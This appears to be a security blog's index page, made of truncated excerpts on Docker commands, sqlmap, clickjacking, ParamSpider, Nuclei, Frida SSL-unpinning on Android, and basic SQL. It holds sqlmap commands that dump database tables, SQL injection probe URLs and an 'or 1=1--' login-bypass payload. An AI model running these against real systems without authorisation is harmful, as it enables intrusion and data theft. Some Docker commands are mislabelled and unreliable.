Cyber Security | Web Development

 Basic Docker Image Commands Pull the docker image from the online resource docker pull <docker-image> List all Docker images in the machine docker ps -a Remove Docker from the machine docker rm --force <docker-image> Stop the docker image in the machine docker container stop <docker-image> Start the docker image in the machine docker container start <docker-image> Remove all docker images from the machine docker rm -f $(docker ps -a -q)

 SQLMap We have to copy the request from the burp suite and paste it into the .txt file format. Type -1 Safest technique: level 1 & risk 1 level 1 & risk 2 level 2 & risk 1 level 2 & risk 2 Commands: sqlmap -r test.txt --banner sqlmap -r test.txt --banner --level 2 --risk 1 sqlmap -r test.txt --banner --dbms=PostgreSQL --level 2 --risk 1  => if you found database sqlmap -r test.txt --banner --dbms=PostgreSQL --level 2 --risk 1 Type -2 Error based SQL - Injection https://testdemo.com/sports.php?id=1' https://testdemo.com/sports.php?id=2-1 https://testdemo.com/sports.php?id=3-1 https://testdemo.com/sports.php?id=1_sleep(11) SQLmap TOOL: python sqlmap.py -u https://testdemo.com/sports.php?id=1 --dbs sqlmap -u https://testdemo.com/sports.php?id=1 --dbs sqlmap -u https://testdemo.com/sports.php?id=1 acuart --tables sqlmap -u https://testdemo.com/sports.php?id=1 acuart  --tables users --dump Email = SELECT*FROM users WHERE username='or 1=1--' password='qwer...

  Clickjacking Description: Clickjacking is  an attack that tricks a user into clicking a webpage element that is invisible or disguised as another element . This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. Impact: The user assumes that they're entering their information into a usual form but they're actually entering it in fields the hacker has overlaid on the UI . Link URL: https://clickjacker.io/ POC: The simplest way to identify our application is from a clickjacking attack.

                                                          ParamSpider Tool ParamSpider  is a Python language-based tool, an open-source tool used to dig parameters from web archives without interacting with the victim host. For digging parameters, the ParamSpider tool uses various techniques and wordlists . However, these parameters are most useful for security researchers or bug bounty hunters because they can easily test several bugs such as XSS, SQL injection, SSRF, or open redirect . Key Features of ParamSpider Tool 1.    ParamSpider Diggs hidden parameters from web archives of the entered target host. 2.    ParamSpider also finds parameters from target subdomains. 3.    ParamSpider gives support to URLs with specific extensions . 4.    ParamSpider mi...

 W eb Application Vulnerability Scanner  Tool Name:  NUCLEI   Description      Nuclei are used to send requests across targets based on a template, leading to zero false positives and providing fast scanning on a large number of hosts. Nuclei offer to scan for a variety of protocols, including TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless, etc. With powerful and flexible templating, Nuclei can be used to model all kinds of security checks.           Nuclei are a fast, template-based vulnerability scanner focusing on extensive configurability , massive extensibility, and ease of use. Installation & Demonstration Usage:      CMD : nuclei -h Step 1:      Download and install before use nuclei Go lang in kali linux      CMD : sudo apt-get update & sudo apt-get upgrade      CMD: sudo apt-get install -y golang Step 2:      Download and in...

To use emulator(Using NOX emulator): Open Appie Application Tools Requirements 1. Appie tool 2. Burp certificate 3. Frida Server Step 1: $ cd C:\Appie\bin\adt\sdk\platform-tools Step 4 – 6 One time steps we have to do for new devices or emulator. Step 2: $ .\adb.exe connect 127.0.0.1:62001 Step 3: $ adb devices Step 4: $ adb push fridasslandroot.js / data/local/tmp Step 5: $ adb shell chmod 777 / data /local/tmp/frida-server Step 6: $ adb push cacert.der /data/local/tmp/cert-der.crt Step 7: Run frida server $ adb shell /data/local/tmp/frida-server & Step 8: Open new tab in APPIE and execute below command: Finally you are unpinned and execute application in rooted mobile. $ frida -U -f <Your-Package-Name> -l C:\Appie\bin\adt\sdk\platform-tools\fridasslandroot.js --no-paus $ frida -U -f com.test.demo -l C:\Appie\bin\adt\sdk\platform-tools\fridasslandroot.js --no-paus

  SQL _Queries   Resource: https://balanced-quince-db1.notion.site/SQL-7347f5956fe347f887b4132c716cd236#17bc403a1add453db519621da47c1de3 Database queries CREATE DATABASE LOGICFIRST; -- creates a new database -- TO DELETE A DATABASE DROP DATABASE LOGICFIRST; DROP SCHEMA LOGICFIRST; -- same as above. u can use DATABASE Or SCHEMA DROP SCHEMA IF EXISTS LOGICFIRST; -- prevents error if db not found   SHOW DATABASES; -- shows all the databases SHOW SCHEMAS; -- same as above. shows schemas/db   USE SYS; -- uses this database for all further commands SHOW TABLES;-- shows all tables in the database being used Table - Create,Delete,Alter primary key - uniquely identifies a row in a table //creating a table CREATE TABLE student(                id INT PRIMARY KEY,     name VARCHAR(30),     gpa DECIMAL(3,2) ); -- ----or----- CREATE ...